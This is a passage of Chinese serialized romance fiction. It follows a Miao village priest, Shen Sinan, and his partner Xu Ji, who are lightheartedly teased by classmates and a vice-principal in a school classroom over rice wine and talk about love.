“许祭一哭，沈司南就揍人，这也太宠了吧！我磕的CP也太甜了！”靠窗的女生们凑在一起，捂着嘴偷笑，眼里满是磕到糖的兴奋。 “怪不得副校长刚才那么敢说，现在一看许祭哭，立马就怂了，哈哈哈哈！”林小满笑得直拍许祭的胳膊，又赶紧递给他一张纸巾，“许祭别哭啦，你看副校长都快求饶了！” 议论声和偷笑声交织在一起，教室里的气氛瞬间又轻松了起来。 沈司南狠狠瞪了李沐阳一眼，那眼神里的警告意味十足，看得李沐阳缩了缩脖子，赶紧把头扭到一边，假装看窗外的风景。 随即，沈司南转过头，伸手轻轻擦去许祭脸上的泪水，指尖的动作温柔得不像话，语气里满是心疼：“别哭了，我没事。” 李沐阳看着沈司南哄人的模样，又忍不住开口，语气里满是感慨：“当初许祭走了那段日子，那个沈司南才吓人呢。才14岁，就硬生生从寨里长辈手里接过了全部权利，把祭祀院管得服服帖帖的。结果15岁许祭一回来，他倒好，权利说给就给，半点犹豫都没有，现在啊，还是个15岁的少年郎呢。” 这话一出，教室里的议论声裹着偷笑又炸开了锅。 “14岁掌权？这么牛的吗？沈大祭司也太早熟了吧！”后排的男生眼睛瞪得溜圆，语气里满是佩服。 “哈哈哈，果然是恋爱脑！权利说给就给，眼里只有许祭吧！”有女生捂着嘴偷笑，声音里满是调侃。 “15岁啊，我们15岁还在为月考发愁，人家都已经手握大权又拱手让人了，这差距也太大了！”前排的同学摇着头叹气，引来一阵附和。 “怪不得他护着许祭跟护着命根子似的，合着许祭就是他的软肋啊！”林小满戳了戳许祭的胳膊，笑得一脸暧昧，“你不在的日子，沈大祭司这是憋着劲儿等你回来呢！” “我算是看明白了，什么祭祀院大权，什么大祭司身份，在沈司南眼里，都比不上一个许祭！”有同学总结似的开口，话音刚落就收获一片赞同的笑声。 “原来他俩还有这么一段过往啊，这剧情比电视剧还精彩！” 许祭的脸又红了，他偷偷抬眼看向身边的沈司南，正好对上他含笑的目光，心跳瞬间漏了一拍，赶紧低下头，耳朵尖却红得快要滴血。 李沐阳忽然一拍大腿，像是想起什么好玩的事，眼睛一亮，扬着声音朝满教室好奇的学生喊：“对了！我差点忘了件稀罕事——沈司南身上有一只银蝶，是他的本命蝶，你们想不想看看？” 这话一出，教室里瞬间安静了半秒，随即爆发出更响亮的骚动，同学们的好奇心彻底被勾了起来，一个个伸长脖子，目光死死黏在沈司南身上。 话音刚落，许祭放在桌肚里的那个布袋子忽然动了动，紧接着，一点银光从袋口的缝隙里钻了出来。 那银光越飘越亮，最后化作一只巴掌大的银蝶，翅膀上的纹路像是用月光织成的，泛着细碎的光泽。它扇动着翅膀，在许祭的肩头盘旋了一圈，又轻轻落在他的发顶，姿态亲昵得不像话。 李沐阳瞪大了眼睛，脱口而出一声惊呼：“wc！这是沈司南的银蝶！连本命蝶都给你了？” 教室里的同学们瞬间炸开了锅，议论声里裹着止不住的偷笑。 “本命蝶都送出去了！沈大祭司这是把自己的命根子都交到许祭手里了吧！”后排的男生吹了声口哨，惹来周围一片哄笑。 “哈哈哈怪不得银蝶在许祭这儿！原来连护身的本命蝶都给了嫂嫂，这也太宠了！”张雅拍着手笑，眼睛弯成了月牙。 “这银蝶也太好看了吧！像会发光一样，沈司南居然舍得把这么稀罕的东西给许祭！”有女生盯着银蝶，语气里满是羡慕。 “这下彻底实锤了！本命蝶都认主许祭了，他俩的关系还有谁能质疑啊！”林小满凑到许祭身边，压低声音调侃，“嫂嫂，你这也太有排面了！” “沈司南也太绝了吧！权利说给就给，本命蝶说送就送，眼里心里全是许祭啊！” 许祭伸手，小心翼翼地碰了碰肩头的银蝶，指尖传来一阵微凉的触感。他转头看向沈司南，眼底还带着未干的泪痕，嘴角却忍不住微微上扬。 沈司南看着他发顶的银蝶，眼底的温柔快要溢出来，伸手揉了揉他的头发，声音低沉又缱绻：“它认你，挺好。” 李沐阳看着那只停在许祭发顶的银蝶，忽然又想起一桩往事，笑着朝沈司南扬声打趣：“沈司南，你还记得吗？许祭回来那天，寨子里的人都快吓死了，长这么大，第一次见你哭成那样！” 这话一出，教室里的议论声瞬间又翻了个浪，同学们的八卦之魂彻底被点燃。 “卧槽！沈大祭司还会哭啊？我以为他是那种天塌下来都面不改色的人呢！”后排的男生瞪大了眼，一脸的不可思议。 “肯定是太激动了吧！许祭回来的时候，他得多开心啊，开心到哭也太好磕了！”靠窗的女生捂着胸口，语气里满是感慨。 “怪不得他把本命蝶都给了许祭，原来许祭不在的日子里，他熬得这么苦啊！”有同学叹了口气，语气里带着心疼。 “寨子里的人都吓到了，那得哭得多凶啊！沈司南平时看着那么沉稳，原来也有这么脆弱的一面！” “许祭一回来，他连权利都不要了，哭成那样也正常吧！换我我也哭，失而复得的感觉太珍贵了！”林小满拍着许祭的胳膊，笑得一脸意味深长，“你看你，把人家惦记成什么样了！” 许祭的脸颊发烫，偷偷抬眼看向沈司南。沈司南的耳尖微微泛红，伸手轻轻捏了捏他的手腕，眼底却盛着化不开的温柔，没有反驳，也没有解释，像是默认了李沐阳的话。 沈司南闻言，低头轻笑一声，指尖还轻轻摩挲着许祭的手背，语气淡却温柔：“我也是人，会哭的。” “你们看！他承认了！”李沐阳立刻拍着手起哄，嗓门大得整个教室都听得清清楚楚。 教室里瞬间又爆发出一阵哄笑和议论声，连空气里都飘着满满的八卦味儿。 “原来沈大祭司也有这么接地气的一面啊！会哭的样子也太戳人了吧！”前排的女生捂着嘴偷笑，眼睛亮晶晶的。 “哈哈哈！被副校长抓包了吧！还嘴硬呢，刚才那笑容都藏不住了！”后排的男生们拍着桌子起哄，口哨声此起彼伏。 “我就说嘛！再厉害的人遇到喜欢的人，也会有软肋的！沈司南哭肯定是太想许祭了！” “这也太甜了吧！承认自己会哭，这是在跟许祭撒娇吗？磕死我了！” “怪不得寨子里的人会吓一跳，平时那么沉稳的大祭司，哭起来得多让人震撼啊！” 许祭靠在沈司南的胳膊上，脸颊红红的，嘴角却忍不住弯起一个甜甜的弧度，连带着之前的酸涩，都被这满教室的喧闹烘得暖融融的。 教室后门突然被人推开，一个穿着青色短褂的少年气喘吁吁地跑进来，脸上带着憨厚的笑，嗓门洪亮：“祭祀大人，夫人！我听说你们来了，特地跑过来凑个热闹！” 阿松这一声“夫人”喊得清脆响亮，瞬间让教室里的议论声又拔高了好几个度。 “夫人！又是一个喊夫人的！这下彻底没跑了！”后排的男生吹了声口哨，引得周围一阵哄笑。 “原来寨子里的人都这么叫许祭啊！也太顺口了吧！”张雅拽着同桌的胳膊，眼睛亮得惊人。 “这个叫阿松的，肯定是沈司南的得力手下吧！看他这架势，对许祭的身份门儿清啊！” “哈哈哈沈大祭司的排场也太大了吧！走到哪儿都有人认嫂嫂认夫人，许祭这地位也太稳了！”林小满笑得见牙不见眼，转头冲许祭挤了挤眼睛。 “这下好了，全校都知道我们班有个祭祀夫人了！以后谁还敢欺负许祭啊！”有同学拍着桌子大笑，语气里满是得意。 许祭的脸又红透了，伸手轻轻掐了掐沈司南的胳膊，眼底却漾着藏不住的笑意。沈司南无奈地瞪了阿松一眼，嘴角却勾着笑：“跑来凑什么热闹，回去守着祭祀院。” 阿松挠了挠头，嘿嘿一笑：“这不是好久没见夫人了嘛，想看看……” 阿松挠了挠头，咧着嘴笑得一脸憨厚，嗓门大得能穿透教室的喧闹：“你们不知道，我们祭祀大人啊，可喜欢夫人了！平时把人护得严实，我们想见上一面，那都是难上加难！” 这话一出，教室里的哄笑声和议论声直接掀翻了屋顶。 “哈哈哈！护得严实！沈大祭司这是把许祭藏起来当宝贝了吧！”后排的男生拍着桌子大笑，引来周围一片附和的口哨声。 “怪不得我们之前都不知道许祭有这么厉害的对象，原来是被沈司南藏得太好了！”前排的女生捂着嘴偷笑，眼神里满是调侃。 “见一面都难？这占有欲也太强了吧！不过也太甜了！”有女生双手捧心，一脸羡慕，“被这么放在心尖上护着，也太幸福了吧！” “阿松这话太实在了！这下谁都知道沈大祭司有多疼许祭了！”林小满戳了戳许祭的胳膊，笑得一脸暧昧，“你看你，多招人稀罕！” “原来寨子里的人都知道他俩的事啊！这简直是公开的秘密，就我们被蒙在鼓里！” 许祭的脸烫得能煎鸡蛋，他把头埋进沈司南的胳膊弯里，耳朵尖红得快要滴血，心里却甜滋滋的，像揣了满满一口袋的糖。 沈司南无奈地瞪了阿松一眼，语气里却没什么责备：“多嘴，滚回去。” 阿松嘿嘿一笑，也不恼，冲许祭鞠了个躬，又朝教室里的同学们挥了挥手，这才一溜烟地跑了出去。 李沐阳清了清嗓子，摆出一副语重心长的模样，对着满教室看热闹的学生开口：“同学们，你们知道吗，青春很短暂，要好好珍惜大好时光。你们看看沈司南，大好的青春，全荒废在许祭身上了！” 这话刚落音，教室里瞬间爆发出一阵憋不住的哄笑和议论声，连带着几个偷偷观望的老师都忍不住勾了勾嘴角。 “哈哈哈！副校长这是嫉妒了吧！分明是羡慕沈司南有许祭！”后排的男生笑得前仰后合，拍着桌子起哄。 “荒废青春？这分明是把青春过成了偶像剧！我也想这么荒废！”有女生托着腮帮子，一脸向往地嘀咕。 “珍惜青春=围着喜欢的人转？副校长这话我算是听明白了！”林小满故意拔高声音，引来周围一片附和的笑声。 “沈大祭司这哪叫荒废啊，这叫神仙爱情！换我我也愿意！”靠窗的同学跟着嚷嚷，眼神里满是调侃。 “怪不得副校长没喝上喜酒，这是在这儿公报私仇呢！”有人一语道破，惹得全班笑得更欢了。 沈司南闻言，只是低头看了眼埋在自己胳膊弯里的许祭，嘴角勾着一抹藏不住的笑意，半点反驳的意思都没有。许祭闷在他怀里，肩膀轻轻耸动着，分明也是在偷笑。 李沐阳像是想起什么有趣的对比，又拍了下讲台，故意拉长语调：“你们是没见过以前的沈司南！以前他在寨子里处罚人，那可是说一不二，次次都得见血的！结果现在呢？许祭一来，别说见血了，最狠的惩罚也就是抄个百八十遍寨规！” 这话一出，教室里瞬间静了半秒，随即爆发出一阵混杂着惊叹和憋笑的议论声。 “见血？！这么狠的吗？沈大祭司以前是走酷哥反派路线的吧！”后排的男生瞪大了眼，语气里满是不敢置信。 “哈哈哈抄寨规？这反差也太大了吧！果然是一物降一物，许祭就是沈司南的温柔开关！”有女生捂着嘴笑，眼角都弯了起来。 “以前多吓人啊，现在居然沦落到罚抄寨规，这哪是处罚人，分明是被许祭磨平了棱角！”林小满拍着桌子起哄，引来周围一片附和。 “突然有点同情寨子里那些犯错的人，以前怕挨揍，现在怕写字，这惩罚方式也太可爱了吧！” “怪不得陈杬祝敢跑去学校闹，换以前，她哪敢在沈司南面前撒野啊！” 议论声里，有对沈司南过往“狠戾”的咋舌，更多的却是对他反差萌的调侃。许祭悄悄抬起头，看着身边眉眼温和的沈司南，忍不住伸手捏了捏他的掌心。沈司南反手握住他的手，眼底漾着笑意，半点没有被揭短的恼意。 沈司南闻言挑眉，转头看向讲台上的李沐阳，嘴角噙着一抹浅淡的笑意，语气带着几分无奈的反问：“我有那么可怕吗？” “不是那么，是非常非常可怕！”李沐阳立刻斩钉截铁地接话，生怕别人听不清似的，还特意加重了语气。 教室里瞬间爆发出一阵憋不住的哄笑和议论声，同学们你推我搡，眼神里满是看热闹的兴味。 “哈哈哈！沈大祭司这是被戳穿了还想狡辩呢！”后排的男生笑得直拍桌子，口哨声此起彼伏。 “原来沈司南以前这么吓人啊！和现在对着许祭笑的样子，简直判若两人！”前排的女生捂着嘴偷笑，眼神在沈司南和许祭身上来回打转。 “副校长都这么说了，那肯定是真的！以前的沈大祭司，怕不是寨子里的小霸王吧！” “反差也太大了！对外人狠得见血，对许祭却连句重话都舍不得说，这就是爱情的力量吗？”林小满凑到许祭耳边，压低声音调侃，惹得许祭的脸颊又红了几分。 李沐阳立刻把矛头转向许祭，笑眯眯地冲他扬声喊：“许祭，你来说说，他到底可不可怕？” 这话一出，教室里瞬间安静下来，所有目光齐刷刷地聚焦在许祭身上，议论声裹着偷笑，像小虫子似的嗡嗡作响。 “快说快说！看看嫂嫂怎么评价沈大祭司！”前排的女生拽着同桌的胳膊，眼睛亮得像星星。 “肯定说不可怕啊！没看沈司南盯着许祭的眼神都快化了吗！”后排的男生挤眉弄眼，引来一阵低低的哄笑。 “这问题根本就是送分题！许祭要是说可怕，沈司南不得心疼死！”林小满拍着桌子起哄，笑得一脸狡黠。 许祭的脸瞬间红透，他捏了捏沈司南的手，又偷偷瞄了一眼讲台上的李沐阳，声音细得像蚊子哼：“他……他一点都不可怕。” 话音刚落，教室里的哄笑声直接掀翻了屋顶。 李沐阳闻言，夸张地瞪大了眼睛，一拍大腿喊出声：“wc，那是对你一个人好，嫂嫂！” 这话像颗小石子投进热闹的人堆里，瞬间激起满教室的哄笑和议论，连窗外的月光都像是染上了几分笑意。 “哈哈哈真相了！原来沈大祭司的温柔是限量版，只给许祭一人！”后排的男生笑得直拍桌子，口哨声此起彼伏。 “这差别待遇也太明显了吧！对别人见血惩罚，对许祭连句重话都没有！”前排的女生捂着嘴偷笑，眼神里满是磕到糖的兴奋。 “嫂嫂这待遇也太好了吧！专属温柔谁不羡慕啊！”林小满戳了戳许祭的胳膊，笑得一脸暧昧，“你看你，把人家吃得死死的！” “果然啊，喜欢一个人就是会把所有的好都留给对方，沈大祭司这波操作太绝了！” 许祭的脸烫得能煮鸡蛋，他把头埋进沈司南的臂弯里，耳朵尖红得快要滴血，心里却甜得像灌满了蜜。 沈司南低笑一声，伸手揽住许祭的腰，将人往自己怀里带了带，指尖轻轻蹭过他发烫的耳尖，抬眼看向讲台上的李沐阳，眼神里带着点似有若无的警告，语气却漫不经心：“话太多，下个月的祭祀补贴，扣一半。” 这话一出，教室里又是一阵哄笑。李沐阳立刻哀嚎起来：“别啊沈大祭司！我错了还不行吗！扣补贴这事可不能开玩笑！” 许祭闷在沈司南怀里，忍不住轻轻掐了下他的腰侧，嘴角却弯起藏不住的弧度。 教室后门又被推开，几个穿着苗家织锦短褂的汉子走了进来，手里还拎着两个陶制酒坛，一进门就拱手行礼，嗓门洪亮：“祭祀大人好！压寨夫人好！” 为首的汉子把酒坛往地上一放，憨笑着搓手：“听说大人和夫人在这儿，我们特地揣了两坛自家酿的米酒来，不知道祭祀大人和夫人能不能赏脸喝两口？” 沈司南抬眼扫了他一下，嘴角勾着点似笑非笑的弧度，反问：“你觉得呢？” 不等那汉子回话，埋在沈司南怀里的许祭忽然抬起头，脸颊还泛着红，却脆生生地应了一句：“能。” “那就喝！”李沐阳立刻拍着讲台起哄，眼睛亮得像藏了星星，“正好让同学们也沾沾喜气！” 教室里瞬间炸开了锅，议论声裹着笑声飘满了整个屋子。 “米酒！还是苗寨自家酿的！这排面也太足了吧！”后排的男生踮着脚往门口瞅，一脸的羡慕。 “哈哈哈许祭都开口了，沈司南肯定拦不住！这波狗粮我先干为敬！”有女生捂着嘴偷笑，眼神在酒坛和两人身上来回打转。 “压寨夫人！这个称呼也太霸气了吧！和许祭的反差萌绝了！”林小满拽着旁边同学的胳膊晃个不停，笑得见牙不见眼。 “这下有好戏看了！沈大祭司护着许祭，估计自己喝得多，让许祭抿两口意思意思！” 那几个苗家汉子也跟着乐，麻利地掀开酒坛封口，清甜的酒香瞬间漫了开来。 沈司南伸手接过汉子递来的竹杯，指尖拨开浮沫，才递到许祭唇边，声音放得很低，带着藏不住的叮嘱：“抿一口就好，别多喝。” “心疼了，你看看！”李沐阳立刻拔高嗓门，冲满教室的学生挤眉弄眼，语气里的调侃藏都藏不住。 教室里瞬间爆发出一阵哄笑，议论声裹着偷笑声此起彼伏。 “哈哈哈！沈大祭司这护妻狂魔的属性，真是刻进骨子里了！”后排的男生拍着桌子起哄，口哨声差点掀翻屋顶。 “就抿一口？也太宠了吧！这米酒看着清甜，肯定度数不高，沈司南这是生怕许祭醉了啊！”前排的女生捂着嘴偷笑，眼神里满是磕到糖的满足。 “这差别待遇！刚才还凶巴巴扣副校长补贴，转头对许祭就温柔得不行！”林小满戳了戳许祭的胳膊，笑得一脸暧昧，“嫂嫂，你也太幸福了吧！” “果然啊，喜欢一个人，连喝口酒都要操心半天！沈大祭司这心，全挂许祭身上了！” 许祭含着竹杯，舌尖沾到一点清甜的酒香，抬头看了眼沈司南，眼底漾着笑意，乖乖点头：“嗯，就一口。” 李沐阳看着沈司南只盯着许祭的杯子，当即朝他扬声喊：“司南喝啊！你可是千杯不醉的主儿，寨子里老少爷们儿，有哪个能喝得过你？” 教室里的议论声裹着偷笑声又响起来，此起彼伏的，热闹得很。 “千杯不醉！沈大祭司这酒量也太牛了吧！这是要把一整坛都包圆了的节奏？”后排的男生吹了声口哨，眼神亮得很。 “哈哈哈副校长这是故意的吧！明知道沈司南要看着许祭，还撺掇他喝酒！”前排的女生捂着嘴偷笑，目光在两人身上打转。 “千杯不醉又怎么样，还不是得听嫂嫂的话！许祭说少喝，他肯定不敢多碰！”林小满拍着桌子起哄，引来一片附和的笑声。 “这米酒闻着就甜，沈大祭司要是放开了喝，估计能把两坛都喝完吧！不过有许祭在，肯定没机会！” 许祭抬眼瞪了沈司南一下，伸手按住他正要去接酒坛的手腕，语气带着点不容置疑的娇嗔：“你不许喝，听没听到？” 沈司南反手握住他的手，指尖轻轻蹭了蹭他的掌心，眉眼弯着，半点反驳的意思都没有：“听到了，我知道了，我不喝。” “你们看看！你们看看！”李沐阳拍着讲台喊得更起劲了，嗓门大得整个楼道都能听见，“这就是千杯不醉的沈大祭司！说不喝就不喝！” 教室里的哄笑声和议论声差点掀翻屋顶，同学们笑得东倒西歪。 “哈哈哈！沈大祭司这是彻底被拿捏了啊！千杯不醉又怎样，嫂嫂一句话就搞定！”后排的男生笑得直拍桌子，口哨声此起彼伏。 “这也太甜了吧！以前多威风的人物，现在对许祭言听计从！”前排的女生捂着嘴偷笑，眼神里满是磕到糖的满足。 “什么千杯不醉，在许祭面前就是个听话的乖宝宝！这爱情的力量也太强大了！”林小满凑到许祭耳边，压低声音调侃，惹得许祭的脸颊又红了几分。 教室门被轻轻推开，校长背着手走了进来，目光扫过满室的喧闹，又落在地上的酒坛和亲昵靠在一起的两人身上，无奈地叹了口气：“祭祀大人啊，这是怎么回事啊？” “哎呀，老顽固，甭管！”李沐阳摆着手，半点没把校长的无奈放在心上，语气里满是看热闹的兴味。 这话一出，教室里的笑声直接掀翻了屋顶，同学们笑得东倒西歪，连几个苗寨汉子都跟着咧开了嘴。 校长被他这句“老顽固”噎得顿了顿，无奈地摇了摇头，索性也不走了，找了个空椅子坐下，还顺手从旁边苗寨汉子手里接过个小酒杯，抿了一口米酒，咂咂嘴道：“行吧，今儿个就随你们闹，别把教室拆了就行。” 这下同学们笑得更欢了，连沈司南都忍不住勾了勾嘴角，许祭更是埋在他怀里，肩膀抖个不停。苗寨汉子们见状，干脆搬来几个酒坛，给起哄的学生们都分了些度数极低的甜米酒，整个教室瞬间弥漫着酒香和笑声，热闹得像个小型的庆功宴。 校长清了清嗓子，站起身，学着苗寨汉子的模样拱了拱手，语气带着几分刻意的恭敬：“许夫人，祭祀大人，你们喝不喝？我这儿还有杯底的甜米酒，分你们两口？” 这话一出，教室里的笑声差点掀翻天花板。同学们笑得前仰后合，有的拍着桌子直跺脚，有的捂着肚子直不起腰，连门口的值日生都扒着门框笑得眉眼弯弯。 许祭从沈司南怀里抬起头，眼底还沾着笑出来的水光，撞进沈司南含笑的目光里，两人不约而同地弯了弯嘴角。 沈司南抬手替他理了理被蹭乱的额发，声音轻得像羽毛：“想喝？” 许祭点了点头，又赶紧摇了摇，最后还是抵不过鼻尖萦绕的酒香，小声道：“就一小口。” 沈司南失笑，从校长手里接过那半杯米酒，低头抿了一口，再俯身凑到许祭唇边，渡了那点清甜的酒香过去。 教室里的哄笑瞬间拔高了八度，口哨声和起哄声差点把窗户震开，校长看得连连摇头，嘴角却忍不住跟着上扬。 41. 欢声笑语（下） 晚自习的月光漫过窗棂，淌在摊开的苗绣图谱和习题册上，教室里只剩笔尖划过纸页的沙沙声，和偶尔响起的、刻意压低的聊天声。 李沐阳抱着胳膊倚在讲台边，目光落在角落那个捧着古籍的身影上，嘴角噙着点笑意，声音压得刚好能让前排几个学生听见：“说真的，你们不觉得沈司南这人，怪得很吗？” 正低头抄寨规的王翠花笔尖一顿，立刻凑过耳朵，连旁边的赵铁锤都悄悄把课本竖起来，挡着脸当屏风。 “他可是咱们寨的祭祀，”李沐阳用粉笔头轻轻点了点黑板，眼神往角落飘，“平日里在祭祀殿，那叫一个肃穆，焚香祭祖的时候，连寨老说话都得客客气气的，咱们哪个小子没被他逮着训过？就上次，我瞧见他罚偷摘祭坛供果的小子抄十遍寨规，脸板得跟块冰似的，半点情面都不讲。” 他话音刚落，后排的苏招就忍不住接话，声音细得像蚊子哼：“李老师，我见过他不一样的样子！” 这话一出，周围几个脑袋立刻凑得更近了，闷笑的气息在空气里飘着。 “上周三，我去后山采草药，撞见沈司南和许祭了，”苏招攥着笔杆，眼底闪着八卦的光，“许祭蹲在地上看蝴蝶，沈司南就站在旁边等着，手里还拎着许祭的书包，书包带子上挂着个歪歪扭扭的小银铃，还是许祭上次缠着银匠阿公打的。你们猜怎么着？许祭扑蝴蝶摔了个屁股墩，沈司南居然笑了！我长这么大，头一回见他笑！” “我也我也！”王翠花赶紧抢话，怕错过了显摆的机会，“前天苗绣课，许祭绣错了凤凰的尾巴，急得眼圈都红了，沈司南刚好来送祭祀用的彩线，居然蹲下来帮他拆丝线！他手指那么长，捏着绣花针，一针一线的，比阿婆还耐心！换作是我，他早把我的绷子扔出去了！” 赵铁锤跟着点头，憋笑憋得肩膀直抖：“还有还有，昨天我看见沈司南去小卖部，买了三袋桂花糖！全是许祭爱吃的那种，他自己从来不吃甜的！你们说，这不是偏心是什么？” 细碎的议论声像风里的竹叶，沙沙地响。角落里的沈司南仿佛没听见，依旧垂着眼帘翻着古籍，只是搁在桌下的手，悄悄勾住了许祭的指尖。许祭正低头算着苗历的节气，指尖被勾住的瞬间，身子轻轻一颤，耳根唰地红透了，连握着笔的手都慢了半拍。 李沐阳看得清楚，忍不住摇了摇头，故意提高了点声音：“你们说，这沈司南啊，对着许祭，哪还有半点祭祀的样子？分明就是……” “分明就是疼他。” 沈司南忽然抬眼，声音不高，却清晰地传遍了整个教室。 瞬间，满室的窃窃私语戛然而止，所有的目光都齐刷刷地投向角落。月光落在沈司南的侧脸，他握着许祭的手，指尖轻轻摩挲着许祭的指节，眼底的温柔，比窗外的月色还要浓。 许祭的脸彻底红透了，恨不得把头埋进习题册里，却被沈司南轻轻捏了捏指尖。 李沐阳挑了挑眉，没再说话，只是转身拿起粉笔，在黑板上写下晚自习的作业，嘴角的笑意，却怎么也压不下去。 后排的苏招和王翠花对视一眼，赶紧低下头，在草稿纸上偷偷写：【锁死！钥匙我吞了！】 月光越发明亮，淌过沈司南颈间的银坠，淌过许祭泛红的耳根，淌过满教室悄悄憋着的笑意，温柔得不像话。 晚自习的灯管嗡嗡作响，白晃晃的光把县城中学的教室照得透亮，窗外是远处街道的零星灯火，混着夏末的蝉鸣，飘进窗缝里。 李沐阳把教案往讲台上一放，双手撑着桌沿，扫过底下一群埋着头刷题的学生，忽然扬声：“停笔停笔，今儿个不搞题海战术了，咱们聊个轻松的——你们觉得，什么是爱？” 教室里静了半秒，随即炸开了锅，后排几个男生率先吹了声口哨，被李沐阳一个眼刀扫过去，立刻噤声，却还是忍不住咧嘴笑。 前排的王翠花红着脸，笔尖在草稿纸上画圈圈，声音细弱蚊蝇：“我觉得……爱就是我妈每天早上五点起来给我煮的鸡蛋，明明自己舍不得吃，却总说她不爱吃蛋黄。” “太土了太土了！”后排的赵铁锤拍着桌子起哄，引来一片低笑，“爱就得是那种，逃课去给她买校门口的烤红薯，冬天揣在怀里捂热乎了，再偷偷塞给她的心动！” “拉倒吧你，”苏招翻了个白眼，胳膊肘捅了捅同桌，眼神却忍不住往教室最后排飘，“我觉得啊，爱就是……有人明明是全校闻名的‘高冷学神’，对谁都爱答不理，偏偏愿意给后座的人讲一整晚的数学题，连笔芯都替他削好了。” 这话一出，教室里的目光齐刷刷地投向角落。沈司南正垂着眼，指尖捏着笔，在许祭的练习册上写写画画，他是苗寨来的借读生，还是寨里的祭祀，平时话少得很，偏偏对许祭格外有耐心。许祭歪着头，手里攥着颗橘子味的硬糖，听得认真，嘴角沾了点糖渣，沈司南抬手，用指腹轻轻替他擦掉，动作自然得不像话。 “卧槽！”赵铁锤压低声音，激动地拍桌，“我作证！上次月考完，许祭没考好蹲在操场哭，沈司南就陪他蹲了一节课，手里还拎着许祭最爱喝的草莓味奶茶，自己淋了半节课的雨！” “还有呢！”王翠花也来了劲，忘了害羞，“上周运动会，许祭跑八百米崴了脚，沈司南直接把人背起来往医务室冲，那可是当着全校的面！他平时连跟女生说话都嫌麻烦，结果背许祭的时候，步子稳得很！” “而且你们发现没，”靠窗的男生推了推眼镜，神神秘秘地开口，“沈司南的书包里，永远放着许祭爱吃的糖，还有创可贴、风油精，全是给许祭准备的！他自己都不用这些东西！” “最离谱的是，”苏招补了一句，眼神里满是揶揄，冲周围的同学挤眉弄眼，“沈祭祀居然在这儿说说说聊聊天，换平时，他早就抱着那本苗语古籍啃起来了！” 细碎的议论声像潮水似的漫过教室，灯管的嗡嗡声都被盖了过去。李沐阳靠在讲台上，看着角落里的两人——许祭大概是听见了什么，耳根红得透亮，偷偷捏了捏沈司南的手腕，沈司南低头，眼底的笑意藏都藏不住，反手握住了他的手，攥在桌下。 李沐阳笑了笑，拿起粉笔，在黑板上写下一行字：爱是藏在细节里的偏爱，是心甘情愿的例外。 窗外的蝉鸣渐渐歇了，远处的路灯亮得温柔，教室里的光影落在两人交握的手上，安静又美好。 李沐阳抬手压了压教室里渐渐高起来的议论声，指尖在黑板上“爱”字旁边敲了敲，嘴角噙着点意味深长的笑：“错了，你们刚才说的那些，是爱情，不是爱。” 这话一出，教室里瞬间安静下来，几十双眼睛齐刷刷地看向他，满是疑惑。 前排的王翠花率先举手，声音里带着点不解：“李副校长，爱情和爱……不都是一样的吗？” “就是啊，”赵铁锤也跟着附和，挠了挠头，“难道不是一回事儿？” 李沐阳放下手，缓步走下讲台，目光扫过教室最后排相视而笑的两人，又转回来看着满教室的学生，声音温和却带着点笃定：“爱很宽泛，是你妈凌晨五点煮的鸡蛋，是你爸雨天校门口撑着的伞，是朋友替你两肋插刀的义气，是陌生人递过来的一把伞。它藏在生活的角角落落，坦荡又直白，是所有人都能拥有的温暖。” 他顿了顿，走到窗边，推开一条缝，晚风带着县城街道的烟火气飘进来，拂过满教室年轻的脸庞。 “但爱情不一样。”李沐阳的目光落在沈司南和许祭交握的手上，笑意更深了些，“爱情是偏爱，是例外，是沈司南宁愿放下手里的苗语古籍，陪许祭聊一整晚的废话；是他书包里永远备着的橘子糖，是他宁愿淋雨也要给许祭买的草莓奶茶；是别人碰一下都觉得抢的小心翼翼，是眼里心里，只装得下一个人的满心欢喜。” “它很小，小到只能容下两个人，”李沐阳转过身，看着满教室恍然大悟的脸，抬手指了指黑板上的字，“爱包罗万象，可爱情，是独一份的心动。” 话音落下的瞬间，教室里静了几秒，随即爆发出一阵低低的哄笑，还有人偷偷鼓起了掌。 许祭的耳根红得透亮，把头埋进了臂弯里，沈司南低头，在他耳边轻轻说了句什么，惹得许祭抬手轻轻捶了他一下，嘴角却忍不住弯起了好看的弧度。 李沐阳的话音刚落，教室里还飘着几声低低的感叹，角落忽然传来一句清清淡淡的声音。 “李沐阳，不是说聊天吗，怎么开始讲道理了？” 是沈司南。 他终于舍得从许祭的练习册上移开目光，抬眼看向讲台，眉梢挑着点似笑非笑的弧度，搁在桌下的手还牵着许祭的，指尖轻轻摩挲着对方的指节。许祭原本埋在臂弯里，听见这话，忍不住闷笑出声，肩膀轻轻抖着，连带着沈司南的胳膊也晃了晃。 教室里瞬间炸开了锅。 赵铁锤第一个拍着桌子笑出声，差点把桌上的练习册掀翻：“哈哈哈！沈祭司一语中的！李副校长你犯规了啊！” “就是就是！”苏招跟着起哄，手里的笔都差点甩出去，“说好的闲聊，怎么变成公开课了！” 王翠花也红着脸笑，笔尖在草稿纸上画了个歪歪扭扭的爱心，小声嘀咕：“李副校长被抓包了吧！” 后排几个男生更是吹起了口哨，此起彼伏的笑声混着灯管的嗡嗡声，把县城中学的晚自习搅得热热闹闹。 李沐阳愣了一下，随即失笑，拿起粉笔头往沈司南的方向虚点了两下：“你小子，还学会拆台了。行，算我犯规。”他顿了顿，又故意扬高了声音，“不过我说的道理，你敢说不对？” 沈司南没说话，只是低头看向怀里的人，眼底的温柔漫出来，快要溢满整个角落。许祭抬头瞪了他一眼，眼底却盛着笑意，伸手掐了掐他的手腕，声音轻得像羽毛：“都怪你。” “嗯，怪我。”沈司南低笑，反手把人攥得更紧。 窗外的晚风卷着街道的烟火气，蝉鸣渐渐淡了，远处的路灯亮得温柔，教室里的笑声裹着少年心事，漫过一页页写满公式的练习册，漫过两人交握的手，漫过这个蝉鸣不止的夏末。 李沐阳挑眉，粉笔头在指尖转了个圈，目光精准地锁定角落里的两人，语气里满是促狭：“行，不聊大道理了。那我来说说，沈祭祀的痛怎么样？” 这话一出，教室里瞬间安静了半秒，随即爆发出更响亮的哄笑，连灯管的嗡嗡声都被盖了过去。 赵铁锤直接拍着桌子站起来，又被李沐阳一个眼刀扫得讪讪坐下，却还是梗着脖子喊：“李副校长！我要听！我早就好奇了！沈祭司看着冷冰冰的，能有什么痛啊？” “还能有什么痛？”苏招挤眉弄眼，手肘撞了撞同桌，目光在沈司南和许祭之间来回打转，“肯定是心上人不理他的痛啊！你想啊，沈祭司那么高冷，偏偏对许祭束手无策，许祭要是闹点小脾气，他不得抓心挠肝的？” 